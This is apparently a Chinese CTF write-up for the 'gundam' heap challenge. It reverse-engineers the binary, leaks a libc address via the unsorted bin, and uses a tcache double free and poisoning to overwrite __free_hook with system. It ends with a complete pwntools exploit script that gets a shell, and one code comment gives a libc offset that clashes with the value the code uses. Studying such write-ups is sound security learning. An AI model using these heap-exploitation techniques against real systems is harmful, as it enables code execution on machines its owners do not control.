pwn-gundam

pwn - gundam

0x00试玩

玩之前checksec一下

image-20211218220524109

root@ubuntu20:~/linan1# ./gundam 

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 1			#创建gundam[0]
The name of gundam :a
The type of the gundam :1  

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 1			#创建gundam[1]
The name of gundam :b
The type of the gundam :2

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 1			#创建gundam[2]
The name of gundam :c
The type of the gundam :1

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2			#显示创建的3个gundam

Gundam[0] :a
Type[0] :Strike Freedom

Gundam[1] :b
Type[1] :Agies

Gundam[2] :c
Type[2] :Strike Freedom

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3			#销毁gundam[0]
Which gundam do you want to Destory:0

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3			#再度销毁gundam[0],成功
Which gundam do you want to Destory:0

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2			#显示,剩下2个gundam
	
Gundam[1] :b
Type[1] :Agies

Gundam[2] :c
Type[2] :Strike Freedom

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 4			#销毁factory,成功
Done!

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2			#销毁factory对gundam无影响

Gundam[1] :b
Type[1] :Agies

Gundam[2] :c
Type[2] :Strike Freedom

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3			#但是当再度销毁gundam[0]的时候,就出问题了
Which gundam do you want to Destory:0
Invalid choice

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3				#销毁其他未销毁的gundam就没问题
Which gundam do you want to Destory:1

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2

Gundam[2] :c
Type[2] :Strike Freedom

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : timeout

在试玩中,可以发现几个问题

  • 一是在创建gundam的时候,输入type只有1、2两个输入,其他不合法(当然后面分析0也是合法的)
  • 二是在对gundam销毁后仍可重复销毁,但当factory销毁后,那些已销毁的gundam就不能在重复销毁了,但对没有销毁的gundam不影响

0x01伪代码分析

ida64反编译,对main伪代码分析,找关键函数

开始时一个菜单函数,打印几个选项,就把它重命名为menu

unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts(&s);
  puts("1 . Build a gundam ");
  puts("2 . Visit gundams ");
  puts("3 . Destory a gundam");
  puts("4 . Blow up the factory");
  puts("5 . Exit");
  puts(&s);
  printf("Your choice : ");
  return __readfsqword(0x28u) ^ v1;
}

包括建立一个gundam、参观gundam、销毁gundam、销毁factory、退出五个选项

1.Build创建gundam

__int64 Build()
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  s = 0LL;
  buf = 0LL;
  if ( (unsigned int)dword_20208C <= 8 )
  {
    s = malloc(0x28uLL);//申请0x28大小的chunk,返回指针赋值给s
    memset(s, 0, 0x28uLL);
    buf = malloc(0x100uLL);//申请0x100大小的chunk,返回指针赋值给buf
    if ( !buf )//判空,申请是否成功
    {
      puts("error !");
      exit(-1);
    }
    printf("The name of gundam :");
    read(0, buf, 0x100uLL);//用户输入gundam的name
    *((_QWORD *)s + 1) = buf;//把s强制转化为一个指向存放qword类型的指针,qword类型8字节,所以+1就是加8字节,再把buf指针赋值到这个s+8字节的起始单元,指向了用户输入内容
    printf("The type of the gundam :");
    __isoc99_scanf("%d", &v1);//整形读入用户输入gundam的type
    if ( v1 < 0 || v1 > 2 )//这就是试玩时,输入不合法的原因,单当然还有0是合法的
    {
      puts("Invalid.");
      exit(0);
    }
    strcpy((char *)s + 16, &aFreedom[20 * v1]);//把s强制转化为一个指向存放char类型的指针,所以+16就是加16字节,把&aFreedom字符串拷贝给s+16所指空间,点开&aFreedom里就是试玩时的type值即Strike Freedom、Agies、Freedom这几个字符串。
    *(_DWORD *)s = 1;//把s又强制转化为一个指向存放dword类型的指针,4字节,也就是把一个整型1存入
    for ( i = 0; i <= 8; ++i )
    {
      if ( !qword_2020A0[i] )//点击qword_2020A0跳到bss段,是个未初始化的指针数组,见下文
      {
        qword_2020A0[i] = s;//把每一个s即指针依此赋给数组0-8共9个指针元素
        break;
      }
    }
    ++dword_20208C;
  }
  return 0LL;
}
  • dword_20208C点开,发现是个bss段数据,是个未初始化的全局变量,函数最后加加操作,我们可以认为是一个计数器改名counter

image-20211122080731818

  • qword_2020A0点开,在bss,是个未初始化全局变量,并且是指针数组,所以也不奇怪是qword类型,指针元素都是8字节

image-20211122101318592

但真正用到的就前九个元素,结合分析,qword_2020A0应该就是factory

所以build这个函数的功能大概清楚了,一方面清楚了试玩时的流程实现,另一方面我们可以分析得出gundam结构体和factory数组

struct gundam
{
int flag;
char *name;
char *type;(char type[24])
}gundam
和
struct gundam *factory[9]
  • 这里有一个漏洞点,函数在构造gundam时,对于用户的输入字符串没有进行处理,即末尾增加截断字符“\x00”,而申请的堆空间有0x100字节,并且没有初始化,导致存在泄露信息的可能。

2.Visit遍历gundam

__int64 Visit()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]

  if ( counter )
  {
    for ( i = 0; i <= 8; ++i )
    {
      if ( factory[i] && *(_DWORD *)factory[i] )//此时*(_DWORD *)factory[i]就是在取gundam前四字节就是取标志,我们创建好gundam后该标志就是1
      {
        printf("\nGundam[%u] :%s", i, *((const char **)factory[i] + 1));//这里的+1其实是加8字节,因为char **factory代表着是一个指向char *factory指针的指针,就是二级指针,char *factory指针8字节意味着+1就是+8字节,这才符合name指针的位置。
        printf("Type[%u] :%s\n", i, (const char *)factory[i] + 16);//这里就好理解,char类型一字节,所以就是加16字节,符合type指针的位置
      }
    }
  }
  else
  {
    puts("No gundam produced!");
  }
  return 0LL;
}

结合注释,所以VIsit函数的功能很简单,用factory对所有的gundam进行了遍历,把name和type打印输出。

3.Destory销毁gundam

__int64 Destory()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( counter )
  {
    printf("Which gundam do you want to Destory:");
    __isoc99_scanf("%d", &v1);//读入整形v1
    if ( v1 > 8 || !factory[v1] )//需得满足v1小于8整数,factory不空,才可“销毁”
    {
      puts("Invalid choice");
      return 0LL;
    }
    *(_DWORD *)factory[v1] = 0;//把标志从1置0
    free(*((void **)factory[v1] + 1));//free掉了name指针的内容,就是buf申请的chunk
  }
  else
  {
    puts("No gundam");
  }
  return 0LL;
}

结合注释,显然程序通过改标志,释放空间来销毁一个指定的gundam,但是这里它没把指向该内存的指针也就是name指针给清零,这就是漏洞所在,我们可以继续的操作该指针factory[i]->name,多次时释放该chunk,可以实现dfd,而且指针未清零也可以实现uaf

4.Blow_up销毁factory

unsigned __int64 Blow_up()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( i = 0; i <= 8; ++i )//遍历每一个gundam
  {
    if ( factory[i] && !*(_DWORD *)factory[i] )//判断factory是否有值,标志是否0,为0才“销毁”
    {
      free(factory[i]);//释放掉存放gundam的chunk
      factory[i] = 0LL;//把指向gundam的指针删掉
      --counter;//计数器减一
    }
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

结合注释,程序会对factory[i]这个指针指向标志为0的gundam操作,会释放存放该gundam的chunk;然后再把factory[i]进行删除,即没有了指向该chunk的指针,所以这比destory函数操作更安全。

0x02 内存泄露

前面所讲build函数可能会对读入的字符没有进行处理,没有加'/x00'截断,在使用visit函数使得可以读出更多的内容,造成内存泄露

这里也利用了unsortedbin的机制,当释放一个chunk放到unsortedbin时,它的fd和bk指针都同时指向main_arena+8也就是说我们释放factory[i]后,未释放的factory->name指针还是指向已释放的堆,而堆指向的地址是main_arena+88的位置。

下面,看一下在题中的过程:

先创建gundam

image-20211123095253001

再依次释放chunk,每一个释放的chunk会被插在链表头,它的fd会被写入了上一个释放的chunk的位置

image-20211123104230362

由于tcache的机制可以知道tcache链表只能存放7个节点,所以第8个chunk就被放在了unsortedbin里面了

image-20211123095447441

在unsortedbin中只有一个节点,就是第8个释放的gundam,它的fd和bk指针毫无例外的指向了 0x7ffff7dcfc78 (main_arena+88)。可具体查看,确实如此

image-20211124075108458

image-20211124075225315

如上,只能说明具备了泄露的信息,但是要让0x7ffff7dcfc78 (main_arena+88)泄露出来,还需要用到visit函数

当再次创建gundam时,这个chunk会从unsortedbin被分配出来,由于没有对堆进行初始化,fd和bk的指针没有被抹掉,加之没有对用户输入的字符处理,所以当输入7个b和回车,即'bbbbbbb\n',覆盖了fd,bk却不受影响,那在读数据的时候,就会把这16个字节(输入的字符和bk)给一并读出。

所以先创建所有gundam,销毁8个gundam,销毁factory,再创建8个gundam,再visit就可以实现

image-20211124084941674

知道了泄露地址,我们再找到libc的基地址0x7ffff7a30000

image-20211124085756622

然后把泄露的地址减去libc的地址,可得到libc到泄露地址的偏移

0x00007ffff7dcfc78 - 0x7ffff7a30000=0x39fc78

这是一个固定的值,远端的程序的加载地址是不断在变化的,有了泄露地址和偏移值,我们就可以在每次加载后准确找到libc的地址,加上偏移,进而计算出free_hook_addr和system_addr。

再利用 double free,将 __free_hook 修改为 system,当调用 free 的时候就会调用 system,获得 shell。

0x03 Tcache 机制

Tcache介绍

  • libc2.26开始加入了tcache机制,它对每个线程创建一个bin缓存,目的是提高性能

  • 每个线程默认使用64个单链表结构的bins,且每个bins最多此存放7个chunk

  • chunk大小以16(8)字节递增,从24(12)到1032(512),可以看到chunk其实不大

  • 引入两个新的数据结构,tcache_entry和tcache_perthread_struct

Tcache使用

  • tcache放入chunk的情形
    • 释放时,检查了size合法后,放入fastbin之前,先尝试将chunk放入tcache
    • 分配堆块时,会触发
      • 若从fastbins中成功返回一个需要的chunk,则将对应fastbins中其余chunk填入tcache对应项直到填满(注意此时chunk放入tcache顺序是反过来存的)small bins也类似如此
      • 当binning code(发生堆块合并等情况)中,找到符合的大小chunk,并不是直接返回而是先加入tcache中,直到填满。然后程序会从tcache中返回一个
  • 从Tcache获取chunk的情形
    • 在__libc_malloc,调用int_malloc之前,如果tcache中存在满足申请需求大小的块,就直接返回符合的chunk
    • binning code(发生堆块合并等情况)中,若是tcache放入的chunk已达上限,则取出并返回最后一个chunk(默认无限制)
    • binning code后,如果没有直接返回,那么如果有至少一个符合要求的chunk被找到,则返回最后一个

注意:tcache的chunk不会合并,无论是相邻,还是chunk和top chunk都不会被合并,这是因为chunk的P标记位是一。

0x04 Double free漏洞利用

libc-2.26缺乏对tcache doublefree安全性的检查,直到libc-2.28才有

前面分析在destory和blow_up函数都没有对factory->name指针进行清零,导致可以对该chunk可进行重复free

先尝试一下是如何double free

我们依次销毁0、1、2来试试

image-20211124093601973

再次destory(2),可以发现chunk指向了自己,并且两个之前释放的chunk也不见了

image-20211124094116973

再啰嗦一下流程

build(0)
build(1)
build(2)
destory(0)
destory(1)
destory(2)#形成链表
destory(2)#形成循环

0x05 Tcache poisoning

对于已经在tcache里面的chunk,更改它的fd值即可在malloc时分配任意地址!

利用Destory将同一块0x110大小的chunkfree两次进入tcache,再改写它的fd域,name就可以返回任意地址

在形成循环的基础之上,我们可以再创建gundam1,原本在tcache的chunk2就会被分配出来,但是拿走chunk2,通过fd找到下一个节点还是chunk2,所以tcache的头指针还是指向了chunk2;我们把name输入free_hook函数的地址,这样就会把chunk2的fd覆盖成free函数的地址,相当于把free_hook放到了tcache的第二个节点了

为什么要用到free_hook,这是为了后面将其地址改写为system的地址,在程序中对chunk操作的就是free函数,直接改为system,我们在写入的字符才会被作为参数执行

image-20211124145456194

我本机的free_hook地址:0x7ffff7dd18a8

image-20211124150231525

当输入free_hook地址作为参数时,我遇到一个问题,就是写的是地址,但是会转化为字符串,写进去之后压根不是原来的模样了。

本来是0x7ffff7dd18a8就变成了0x3766666666377830('0x7ffff7dd18a8\n')

这其实就是没转成字节码的问题,到时写exp的时候可以避免,所以对做题来说不是问题,但就是不知道网上师傅的帖子调试时怎么输入的

不知道那我就自己把这段内存手动改了😆

image-20211124155141333

可以了,意料之中指向free_hook

在前面流程基础之上,继续概括一下这部分的流程

blow_up()
build(2)#参数是free_hook地址

0x06 写入shell参数

继续前面的思路,现在tcache链表很漂亮

0x110 [  4]: 0x555555759510 —▸ 0x7ffff7dd18a8 (__free_hook) ◂— 0x0

我们创建一个gundam,必然分配到第一个节点,即0x555555759510这个chunk,我们写入参数'/bin/sh\x00',查看写入成功

image-20211124192910879

此时的free_hook地址也已到达tcache头部

image-20211124192531825

0x07 写入system_addr

当free_hook地址也已到达tcache头部,我们就可以通过分配更改其地址,改为system地址0x7ffff7a6fd06

image-20211124194021376

成功写入

image-20211124194809770

以上完美把free_hook的地址替换成system的地址,再执行destroy,然后选择含有'/bin/sh\x00'字符串的gundam,就可以成功执行shell:

综合上述,从网上师傅借来的代码,写的很精妙,修改得到exp

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'
io = process('./gundam')
#elf = ELF('gundam')
libc = ELF('libc-2.26.so')

def build(name):
    io.sendlineafter("choice : ", '1')
    io.sendlineafter("gundam :", name)
    io.sendlineafter("gundam :", '0')

def visit():
    io.sendlineafter("choice : ", '2')

def destroy(idx):
    io.sendlineafter("choice : ", '3')
    io.sendlineafter("Destory:", str(idx))

def blow_up():
    io.sendlineafter("choice : ", '4')

def leak():
    global __free_hook_addr
    global system_addr

    for i in range(9):
        build('A'*7)
    for i in range(7):
        destroy(i)      # tcache bin
    destroy(7)          # unsorted bin

    blow_up()
    for i in range(8):
        build('A'*7)

    visit()
    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
    libc_base = leak - 0x39fc78     # 0x3dac78 = libc_base - leak
    __free_hook_addr = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']

    log.info("libc base: 0x%x" % libc_base)
    log.info("__free_hook address: 0x%x" % __free_hook_addr)
    log.info("system address: 0x%x" % system_addr)

def overwrite():
    destroy(0)
    destroy(1)
    destroy(2)
    destroy(2)      # double free

    blow_up()
    build(p64(__free_hook_addr))    # 0
    build('/bin/sh\x00')            # 1
    build(p64(system_addr))         # 2

def pwn():
    destroy(1)
    io.interactive()

if __name__ == "__main__":
    leak()
    overwrite()
    pwn()

image-20211124195849685

0x08 总结

  • 首先,libc-2.26开始加入tcache机制,但是手头上并没有libc-2.26的bebug版,本地调试便会是一个问题。所以当下载不到debug版,学会从服务器下载glibc的源码,进行编译,生成调试版的libc-2.26.so很重要。

  • tcache的7个chunk满了之后便会存入unsortedbin,在unsortedbin的机制中,当释放一个chunk放到unsortedbin作为头节点时,它的fd和bk指针都同时指向main_arena+88

  • 内存泄漏问题主要在于没有00截断,所以后面读入/bin/sh需要注意这个问题;factory->name未清空导致可以doublefree,进而导致Tcache poisoning,这是这题漏洞精髓所在。

-早期的libc对tcache基本没任何防护,简直到了为所欲为的地步,一不检查double free,二不检查size大小,使用起来比fastbins还要简单。2.29libc新增了保护机制,tcache的double free会失效。

  • 在泄露地址时,把chunk放入unsortedbin,要多预留一个chunk,否则tcache满了之后,chunk会直接回收到top_chunk

  • 每次数组满了记得销毁factory才能把数组清空,才能继续build

posted @ 2021-11-24 20:59  DAMOXILAI  阅读(139)  评论(0编辑  收藏  举报